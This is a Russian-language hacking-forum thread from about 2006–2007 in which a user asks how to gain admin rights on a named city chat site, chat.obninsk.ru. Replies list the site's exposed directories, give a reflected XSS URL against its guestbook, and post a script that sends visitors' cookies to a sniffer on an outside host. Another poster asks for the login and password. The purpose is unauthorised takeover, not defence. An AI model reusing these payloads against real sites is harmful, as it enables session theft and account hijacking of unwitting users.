HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Чаты
Перезагрузить страницу MD3 chat.obninsk.ru
   
 
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

MD3 chat.obninsk.ru
  #1  
Старый 15.12.2006, 02:58
IDentety
Познающий
Регистрация: 13.12.2006
Сообщений: 77
С нами: 10215346

Репутация: 70
По умолчанию MD3 chat.obninsk.ru
Здасте уважаемые античатовцы. вот задался я таким вопросом как поиметь админовские права в нашем городском чате. но сам я не очень разбираюсь в ломке поэтому обьясните как это делаеца для данного чата(тока не ломайте я сам хочу) меня интересует теоретическое описание... заранее спасибо
𝕏 Twitter Reddit Telegram Копировать ссылку
 

  #2  
Старый 18.12.2006, 00:56
*D1VER
Участник форума
Регистрация: 05.12.2006
Сообщений: 112
С нами: 10227581

Репутация: 175
По умолчанию
Немного поползав я нашёл следущее!

http://chat.obninsk.ru/_sys/view/
http://chat.obninsk.ru/design/
http://chat.obninsk.ru/icons/
http://chat.obninsk.ru/bcn/data/

http://chat.obninsk.ru/bcn/data/resize.php


Ещё одна пассивная Xss В гостевой!

http://chat.obninsk.ru/guest.php?sid=%22%3E%22%3Cscript%3Ealert()%3C/script%3E
Последний раз редактировалось *D1VER; 18.12.2006 в 01:27..
 

  #3  
Старый 18.12.2006, 04:30
IDentety
Познающий
Регистрация: 13.12.2006
Сообщений: 77
С нами: 10215346

Репутация: 70
По умолчанию
благодарю. + к репе.
 

  #4  
Старый 18.12.2006, 10:01
InferNo23
Участник форума
Регистрация: 05.09.2006
Сообщений: 187
С нами: 10358246

Репутация: 378
По умолчанию
Еше можно залить фотографию с содержимым:
Код:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
потом кинуть ссылку на картинку и куки придут на снифер, но это только для ИЕ ....
 

  #5  
Старый 12.03.2007, 18:31
baga
Новичок
Регистрация: 11.03.2007
Сообщений: 4
С нами: 10088421

Репутация: 0
Thumbs up
у меня есть скрипт мд чата - могу подогнать ковыряй исходники или ставь себе и ломайй на здоровье
 

  #6  
Старый 13.03.2007, 02:03
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
С нами: 11150246

Репутация: 412


По умолчанию
неплохо было бы для дальнейшего изучения получить логин и пасс
 

  #7  
Старый 14.03.2007, 23:35
baga
Новичок
Регистрация: 11.03.2007
Сообщений: 4
С нами: 10088421

Репутация: 0
Arrow
логин от чего? у меня скрипт могу выложить его если у кого то есть место на фтп
 

  #8  
Старый 15.03.2007, 01:09
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
С нами: 11150246

Репутация: 412


По умолчанию
нафих твой скрипт... мож там че исправлено или мод или мало еще что. К тому же устанавливать у себя не охота)
 

  #9  
Старый 15.03.2007, 22:50
baga
Новичок
Регистрация: 11.03.2007
Сообщений: 4
С нами: 10088421

Репутация: 0
По умолчанию
ничего не правил- не добавлял- скрипт нужен был для свободной раздачи даного чата- в противовес барыге мд
 

  #10  
Старый 16.03.2007, 00:05
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
С нами: 11150246

Репутация: 412


По умолчанию
ох.... да я не про твои скрипт говорю. а про то, что установлено на сайте
 
 
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.